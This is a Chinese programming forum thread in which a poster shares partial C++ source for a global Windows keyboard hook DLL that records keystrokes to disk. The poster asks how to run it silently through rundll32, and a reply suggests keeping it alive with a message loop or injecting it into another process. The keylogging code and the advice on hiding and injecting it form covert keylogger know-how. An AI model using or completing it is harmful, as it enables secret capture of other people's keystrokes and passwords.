我编写了一个键盘钩子,相关内容如下:
//Hook.h
#pragma once
#include "afxwin.h"
#define DllExport __declspec(dllexport)//定义变量#pragma data_seg ("SHAREDATA") //共享数据区的建立,使DLL在运行期间,使用公共数据
static HHOOK Hook=NULL; //钩子变量
static HWND  hLastFocus=NULL; //记录上一次得到焦点的窗口句柄
static bool  bInstall=false;
static HINSTANCE glhInstance=NULL;
#pragma data_seg() 
#pragma comment(linker, "/SECTION:SHAREDATA,RWS")
const int KeyPressMask=0x80000000; //键盘掩码常量,用于判断一个键是否被按下
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam); 
DllExport void WINAPI InstallLaunchEv(); // 装载钩子
DllExport void WINAPI RemoveHook();// 卸载钩子
extern "C" DllExport void StartRec(void);// 开始记录
extern "C" DllExport void StopRec(void);//  停止记录
int SavePro(WPARAM wParam,LPARAM lParam);// 记录存盘// hook.cpp#include "hook.h"
/******************************************************************************
* 功 能: 安装钩子
*******************************************************************************/
DllExport void WINAPI InstallLaunchEv() 
{  if(bInstall) return ;
char Path[MAX_PATH];
ZeroMemory(Path,MAX_PATH);
GetCurrentDirectory(MAX_PATH,Path);
strcat(Path,"\\HookWin32.dll");
glhInstance=GetModuleHandle(Path);
if(Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD ,(HOOKPROC)LauncherHook ,glhInstance ,0))
{
bInstall=true;
//调试用,如果用Rundll32加载此Dll时没有此信息窗口则程序运行后就退出了,真不知为什么?
MessageBox(NULL,"KeyHook Install Success!","Notice:",MB_OK);
}
else
MessageBox(NULL,"KEYHOOK Failed!!","Notice:",MB_OK);} 
/******************************************************************************
* 功 能: 回调函数,当键盘事件触发后自动执行
******************************************************************************/
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam) 

if(lParam&0x40000000 && nCode==HC_ACTION)
SavePro(wParam,lParam);
return CallNextHookEx(Hook,nCode,wParam,lParam);
}
/******************************************************************************
* 功 能: 对外接口,导出函数 开始记录程序
******************************************************************************/
extern "C" DllExport void StartRec(void)
{
InstallLaunchEv();
}
//其它略
将上面两个文件编译成一个hook.dll,
问题:为什么我用自己的程序加载此Dll并成功完成键盘记录,然而用Rundll32(cmd.exe[enter] rundll32.exe hook.dll StartRec[enter]),却不能完成键盘记录,在调试过程中发现,如果在装载函数InstallLaunchEv()中弹出MessageBox(NULL,"KeyHook Install Success!","Notice:",MB_OK);信息框,在不关闭的前提下,键盘记录成功,一旦关闭此信息窗口,那么Rundll32就退出了,也就是键盘记录程序不能成功,请高手指点,如何编写Hook程序才能用Rundll32下运行此Dll(不要弹出信息窗)?

解决方案 »

  1.   

    那是肯定退出了,Rundll32执行完DLL里的函数以后就会返回。返回的时候自然要把加载的DLL释放掉,这样你的钩子也就没了。而且,如果你在某个程序中已经触发了一次钩子,才关闭的消息框,还会出现错误信息。因为该程序会调用你设置的钩子函数,但是,DLL已经被卸载了,所以就出问题了。解决方法是你可以自己建立一个消息循环什么的,不让StartRec()函数结束,或者注入到某个进程中